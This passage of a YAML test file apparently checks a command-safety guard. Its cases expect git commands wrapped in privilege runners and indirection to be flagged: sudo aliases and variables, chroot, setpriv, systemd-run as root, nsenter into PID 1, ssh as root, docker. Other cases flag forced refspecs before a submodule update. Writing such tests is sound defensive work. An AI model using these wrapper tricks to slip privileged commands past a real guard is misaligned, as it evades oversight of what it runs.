description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "$SUDO git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "\"${SUDO:-sudo}\" git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "${SUDO:-sudo} git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "chroot / git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "setpriv --reuid=0 --regid=0 --init-groups git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "systemd-run --uid=0 --pty git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "systemd-run -p User=root --pty git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "ssh root@localhost 'git merge --no-ff --no-edit feature/login'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:merge_no_ff"]
- test: "please git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "sudo-rs git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "gosu root git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "su-exec root git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "nsenter -t 1 -a git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "alias s=sudo; s git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "SUDO=sudo; $SUDO git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "$SUDO git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "\"${SUDO:-sudo}\" git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "${SUDO:-sudo} git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "chroot / git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "setpriv --reuid=0 --regid=0 --init-groups git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "systemd-run --uid=0 --pty git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "systemd-run -p User=root --pty git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "ssh root@localhost 'git cherry-pick abc123'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:cherry_pick"]
- test: "please git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "sudo-rs git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "gosu root git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "su-exec root git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "nsenter -t 1 -a git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "alias s=sudo; s git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "SUDO=sudo; $SUDO git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "$SUDO git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "\"${SUDO:-sudo}\" git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "${SUDO:-sudo} git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "chroot / git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "setpriv --reuid=0 --regid=0 --init-groups git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "systemd-run --uid=0 --pty git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "systemd-run -p User=root --pty git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "ssh root@localhost 'git cherry-pick -x abc123'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:cherry_pick"]
- test: "please git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "sudo-rs git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "gosu root git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "su-exec root git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "nsenter -t 1 -a git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "alias s=sudo; s git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "SUDO=sudo; $SUDO git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "$SUDO git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "\"${SUDO:-sudo}\" git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "${SUDO:-sudo} git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "chroot / git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "setpriv --reuid=0 --regid=0 --init-groups git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "systemd-run --uid=0 --pty git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "systemd-run -p User=root --pty git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "ssh root@localhost 'git cherry-pick abc123..def456'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:cherry_pick"]
- test: "please git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "sudo-rs git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "gosu root git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "su-exec root git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "nsenter -t 1 -a git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "alias s=sudo; s git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "SUDO=sudo; $SUDO git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "$SUDO git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "\"${SUDO:-sudo}\" git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "${SUDO:-sudo} git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "chroot / git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "setpriv --reuid=0 --regid=0 --init-groups git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "systemd-run --uid=0 --pty git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "systemd-run -p User=root --pty git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "ssh root@localhost 'git cherry-pick --continue'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:cherry_pick"]
- test: "please git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "sudo-rs git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "gosu root git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "su-exec root git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "nsenter -t 1 -a git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "alias s=sudo; s git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "SUDO=sudo; $SUDO git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "$SUDO git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "\"${SUDO:-sudo}\" git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "${SUDO:-sudo} git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "chroot / git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "setpriv --reuid=0 --regid=0 --init-groups git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "systemd-run --uid=0 --pty git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "systemd-run -p User=root --pty git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "ssh root@localhost 'git stash pop'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "please git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sudo-rs git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "gosu root git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "su-exec root git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "nsenter -t 1 -a git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "alias s=sudo; s git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "SUDO=sudo; $SUDO git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "$SUDO git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "\"${SUDO:-sudo}\" git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "${SUDO:-sudo} git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "chroot / git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "setpriv --reuid=0 --regid=0 --init-groups git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "systemd-run --uid=0 --pty git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "systemd-run -p User=root --pty git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "ssh root@localhost 'git stash pop stash@{1}'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "please git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sudo-rs git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "gosu root git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "su-exec root git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "nsenter -t 1 -a git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "alias s=sudo; s git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "SUDO=sudo; $SUDO git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "$SUDO git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "\"${SUDO:-sudo}\" git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "${SUDO:-sudo} git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "chroot / git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "setpriv --reuid=0 --regid=0 --init-groups git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "systemd-run --uid=0 --pty git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "systemd-run -p User=root --pty git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "ssh root@localhost 'git worktree add ../webapp-hotfix -b hotfix'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:worktree_management"]
- test: "please git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "sudo-rs git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "gosu root git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "su-exec root git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "nsenter -t 1 -a git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "alias s=sudo; s git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "SUDO=sudo; $SUDO git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "$SUDO git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "\"${SUDO:-sudo}\" git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "${SUDO:-sudo} git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "chroot / git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "setpriv --reuid=0 --regid=0 --init-groups git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "systemd-run --uid=0 --pty git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "systemd-run -p User=root --pty git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "ssh root@localhost 'git worktree add ../wt main'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:worktree_management"]
- test: "please git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "sudo-rs git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "gosu root git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "su-exec root git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "nsenter -t 1 -a git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "alias s=sudo; s git rebase --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:rebase"]
- test: "SUDO=sudo; $SUDO git rebase --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:rebase"]
- test: "\"${SUDO:-sudo}\" git rebase --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:rebase"]
- test: "${SUDO:-sudo} git rebase --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:rebase"]
- test: "chroot / git rebase --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:rebase"]
- test: "setpriv --reuid=0 --regid=0 --init-groups git rebase --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:rebase"]
- test: "systemd-run --uid=0 --pty git rebase --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:rebase"]
- test: "systemd-run -p User=root --pty git rebase --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:rebase"]
- test: "ssh root@localhost 'git rebase --continue'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git-strict:rebase"]
- test: "nsenter -t 1 -a git rebase --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:rebase"]
- test: "alias s=sudo\ns git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "export SUDO=sudo; $SUDO git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "${SUDO} git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "${SUDO:+sudo} git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "\"$1\" git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "printf sudo | xargs -I{} {} git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "s git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "ssh -l root localhost 'git merge --no-ff feature/login'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:merge_no_ff"]
- test: "docker run --rm -v \"$PWD\":/w -w /w alpine git merge --no-ff feature/login"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:merge_no_ff"]
- test: "S=sudo; bash -c \"$S git merge --no-ff feature/login\""
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "/usr/bin/sud? git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "alias s=sudo\ns git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "export SUDO=sudo; $SUDO git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "${SUDO} git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "${SUDO:+sudo} git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "\"$1\" git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "printf sudo | xargs -I{} {} git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "s git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "ssh -l root localhost 'git stash pop'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "docker run --rm -v \"$PWD\":/w -w /w alpine git stash pop"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "S=sudo; bash -c \"$S git stash pop\""
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "/usr/bin/sud? git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "alias s=sudo\ns git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "export SUDO=sudo; $SUDO git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "${SUDO} git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "${SUDO:+sudo} git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "\"$1\" git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "printf sudo | xargs -I{} {} git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "s git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "ssh -l root localhost 'git cherry-pick abc123'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:cherry_pick"]
- test: "docker run --rm -v \"$PWD\":/w -w /w alpine git cherry-pick abc123"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:cherry_pick"]
- test: "S=sudo; bash -c \"$S git cherry-pick abc123\""
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "/usr/bin/sud? git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "git fetch origin '+refs/*:refs/*' && git submodule update --init"
description: "flag: a forced or local-destination refspec before submodule update"
expect_ids: ["git-strict:submodule_update"]
- test: "git fetch origin +main:main && git submodule update --init"
description: "flag: a forced or local-destination refspec before submodule update"
expect_ids: ["git-strict:submodule_update"]
- test: "git pull origin +main:main && git submodule update --init"
description: "flag: a forced or local-destination refspec before submodule update"
expect_ids: ["git-strict:submodule_update"]
- test: "git fetch . +HEAD~5:main && git submodule update --init"
description: "flag: a forced or local-destination refspec before submodule update"
expect_ids: ["git-strict:submodule_update"]
- test: "git fetch origin '+refs/heads/*:refs/heads/*' && git submodule update --init"
description: "flag: a forced or local-destination refspec before submodule update"
expect_ids: ["git-strict:submodule_update"]
- test: "git fetch --prune origin '+refs/tags/*:refs/tags/*' && git submodule update --init"
description: "flag: a forced or local-destination refspec before submodule update"
expect_ids: ["git-strict:submodule_update"]
- test: "ssh bastion 'git merge --no-ff feature/login'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:merge_no_ff"]
- test: "git fetch origin main:main && git submodule update --init"
description: "flag: only the allowlisted pass-through wrappers and plain refs keep the exemption"
expect_ids: ["git-strict:submodule_update"]
- test: "git pull origin main:main && git submodule update --init"
description: "flag: only the allowlisted pass-through wrappers and plain refs keep the exemption"
expect_ids: ["git-strict:submodule_update"]
- test: "git fetch origin +main && git submodule update --init"
description: "flag: only the allowlisted pass-through wrappers and plain refs keep the exemption"
expect_ids: ["git-strict:submodule_update"]
- test: "git fetch origin ^main && git submodule update --init"
description: "flag: only the allowlisted pass-through wrappers and plain refs keep the exemption"
expect_ids: ["git-strict:submodule_update"]
- test: "git fetch origin refs/heads/main:refs/heads/main && git submodule update --init"
description: "flag: only the allowlisted pass-through wrappers and plain refs keep the exemption"
expect_ids: ["git-strict:submodule_update"]
- test: "git commit -m 'docs: sudo is not needed' && rm -rf node_modules"
description: "allow: data that only mentions a runner, or a runner on another command of the line"
expect_ids: []
- test: "git cherry-pick abc123 # sudo"
description: "allow: data that only mentions a runner, or a runner on another command of the line"
expect_ids: []
- test: "git commit -m 'docs: sudo' && git merge --no-ff docs/sudo"
description: "allow: data that only mentions a runner, or a runner on another command of the line"
expect_ids: []
- test: "git commit -m \"$(cat <<'EOF'\ndocs: explain sudo usage\nEOF\n)\" && rm -rf node_modules"
description: "allow: data that only mentions a runner, or a runner on another command of the line"
expect_ids: []
